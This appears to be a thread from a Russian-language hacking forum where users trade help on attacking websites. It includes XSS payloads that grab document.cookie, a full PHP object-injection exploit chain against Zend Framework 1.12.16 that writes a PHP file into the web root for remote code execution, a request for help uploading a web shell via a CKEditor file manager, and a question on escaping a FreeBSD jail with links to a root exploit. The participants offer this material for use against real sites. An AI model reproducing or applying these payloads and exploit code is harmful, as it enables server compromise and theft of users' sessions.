Вопросы по уязвимостям

[crlf]

Потестил немного, выяснил что подойдёт GET и POST. Главное чтобы начального слеша не было GET /--><script>alert(document.cookie);#<!-- HTTP/1.1.

[NameSpace]

Увы, без начального слэша нельзя. Как понимаю, XSS-ка на странице ошибки? Попробуйте вызвать её другими методами: 404 (страница не существует), 403 (доступ запрещен), 414 (длинный URL), 413 (большой запрос), 431 (Большой заголовок, к примеру Referer) и пр.

[crlf]

Пробовал, работает только без слеша. Как я понял, если слеша нет отрабатывает один обработчик, иначе другой, который кодирует цсску в хтмл сущности. Спасибо за ответы и советы, попробую дальше покопать.

[crlf]

Имеется свежий PHP, CMS с использованием Zend и не фильтруемый unserialize. Помогите найти актуальный RCE вектор.

Нагуглил вариант с нулл-байтом, но он работает только на PHP <= 5.3.3

[errnick2]

помогите советом как залить шелл имея админку с ckeditor 3.4.1 (ckfinder.html) аплоадер который конвертирует и переименовывает файлы вида gallery_photo_1352189745_5098c7319b29b.jpg инклудов не нашел

[crlf]

Сообщение от crlf

Имеется свежий PHP, CMS с использованием Zend и не фильтруемый unserialize. Помогите найти актуальный RCE вектор.

Нагуглил вариант с нулл-байтом, но он работает только на PHP <= 5.3.3

Немного подправил, теперь работает на свежих PHP. RCE только для Apache с "AddHandler php5-script .php" .

<?php
class Zend_Search_Lucene_Index_FieldInfo
{
    public $name = '<?php phpinfo(); ?>';
}
 
class Zend_Search_Lucene_Storage_Directory_Filesystem
{
    protected $_dirPath = null;
     
    public function __construct($path)
    {
        $this->_dirPath = $path;
    }
}
 
interface Zend_Pdf_ElementFactory_Interface {}
 
class Zend_Search_Lucene_Index_SegmentWriter_StreamWriter implements Zend_Pdf_ElementFactory_Interface
{
    protected $_docCount = 1;
    protected $_name = 'test.php';
    protected $_directory;
    protected $_fields;
    protected $_files;
     
    public function __construct($directory, $fields)
    {
        $this->_directory = $directory;
        $this->_fields    = array($fields);
        $this->_files     = new stdClass;
    }
}    
 
class Zend_Pdf_ElementFactory_Proxy
{
    private $_factory;
     
    public function __construct(Zend_Pdf_ElementFactory_Interface $factory)
    {
        $this->_factory = $factory;
    }
}

$directory = new Zend_Search_Lucene_Storage_Directory_Filesystem("/var/www/");
$__factory = new Zend_Search_Lucene_Index_SegmentWriter_StreamWriter($directory, new Zend_Search_Lucene_Index_FieldInfo);
$____proxy = new Zend_Pdf_ElementFactory_Proxy($__factory);
 
echo urlencode(serialize(array($____proxy)));

?>

Создаёт файл /var/www/test.php.fnm

[SynQ]

crlf
Молодец! Это для какого зенда - первого или второго?
Видел еще новый способ в блоге d0znpp, но потом он его удалил.

[crlf]

SynQ, забыл написать, тестил на Zend Framework 1.12.16

[Tim]

Вопрос, как выйти из Jail?

FreeBSD 9.1-RELEASE FreeBSD 9.1-RELEASE #0 r25319: Mon Jul 15 CEST 2013 /usr/obj/usr/src/sys/LG amd64

Рут добывается с помощью http://pastebin.com/mvrVAtJw
https://rdot.org/forum/showthread.php?t=2775

[Molofya]

Имеется POST XSS дырка самая простейшая:
test.ru/script.html
POST:
search=123"><h1>XSS</h1>

Все бы ничего, но при таком POST запросе сайт проверяет наличие рефа, и чтобы обязательно там был test.ru (левые домены не катят).
Вопрос. При таких условиях возможно провести XSS атаку, или в данном случае вариантов проэксплуатировать уязвимость нету?